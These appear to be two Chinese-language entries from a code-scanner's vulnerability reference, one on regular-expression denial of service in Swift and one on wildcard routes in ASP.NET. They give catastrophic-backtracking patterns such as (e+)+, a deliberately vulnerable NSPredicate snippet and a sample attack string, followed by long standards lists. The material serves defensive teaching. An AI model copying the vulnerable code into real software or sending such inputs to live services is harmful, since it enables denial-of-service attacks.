Abstract
不可信賴的資料會傳遞到應用程式並做為規則運算式使用。如此將會導致執行緒過度消耗 CPU 資源。
Explanation
在規則運算式評估程式及相關方法的實作中存在弱點,針對包含會自行重複之群組運算式的規則運算式進行評估時,該弱點可能會導致執行緒當機。此外,任何包含替代子運算式的規則運算式,若替代子運算式彼此重疊,則規則運算式也可能會被利用。這個瑕疵可以用來執行 Denial of Service (DoS) 攻擊。

範例 1:如果以下規則運算式用於已識別的易受攻擊的程式碼,則可能會發生阻斷服務:

(e+)+
([a-zA-Z]+)*
(e|ee)+


依賴有瑕疵之一般表示式的問題程式碼範例:


let regex : String = "^(e+)+$"
let pred : NSPredicate = NSPRedicate(format:"SELF MATCHES \(regex)")
if (pred.evaluateWithObject(mystring)) {
//do something
}


大多數規則運算式剖析器都會在評估規則運算式時建立 Nondeterministic Finite Automaton (NFA) 結構。NFA 會嘗試所有可能的組合,直到找到完整組合為止。以 Example 1 而言,如果攻擊者提供了組合字串「eeeeZ」,則 regex 必須通過 16 種內部評估以識別該組合。如果攻擊者提供的組合字串有 16 個「e」(「eeeeeeeeeeeeeeeeZ」),那麼 regex 解析器就必須進行 65536 (2^16) 組評估。攻擊者可能輕易地藉由提高連續符合字元數來耗用計算資源。目前沒有已知的規則運算式實作對此弱點免疫。所有平台和語言都會受到此類攻擊。
References
[1] Bryan Sullivan Regular Expression Denial of Service Attacks and Defenses
[2] Standards Mapping - Common Weakness Enumeration CWE ID 185, CWE ID 730
[3] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-001310
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[5] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection, SI-10 Information Input Validation
[6] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[7] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[8] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[9] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[17] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[18] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[19] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[20] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[42] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[43] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.swift.denial_of_service_regular_expression
Abstract
攻擊者可能操縱萬用字元路由模式,有效地涵蓋廣泛的 URL,甚至達成與所有 URL 的符合,進而可能會導致發動 Denial of Service (DoS) 攻擊。
Explanation
此弱點是由於 ASP.NET 應用程式中透過 routes.Ignore 方法整合萬用字元路由模式而產生的。此方法允許透過外部輸入來定義路由行為。具體來說,使用萬用字元 (例如 {*allaspx}) 為攻擊者提供了操縱路由動作的立足點。當控制這些萬用字元模式的輸入沒有經過徹底驗證或清理時,就會出現核心問題。
惡意動作執行者可以利用此弱點來策劃 DoS 攻擊。透過提供輸入且其中包含過度允許的萬用字元模式,攻擊者可以有效地提示路由系統忽略重要類別的 URL 要求。最糟糕的情況是,攻擊者可能會提供包含所有 URL 的輸入,從而廣泛發動 Denial of Service,導致應用程式無法存取。
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 730
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-002386
[3] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[4] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection, SI-10 Information Input Validation
[5] Standards Mapping - OWASP API 2023 API8 Security Misconfiguration
[6] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[7] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[8] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[15] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[16] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[17] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[18] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-003320 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-003320 CAT II
[40] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[41] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.dotnet.denial_of_service_routing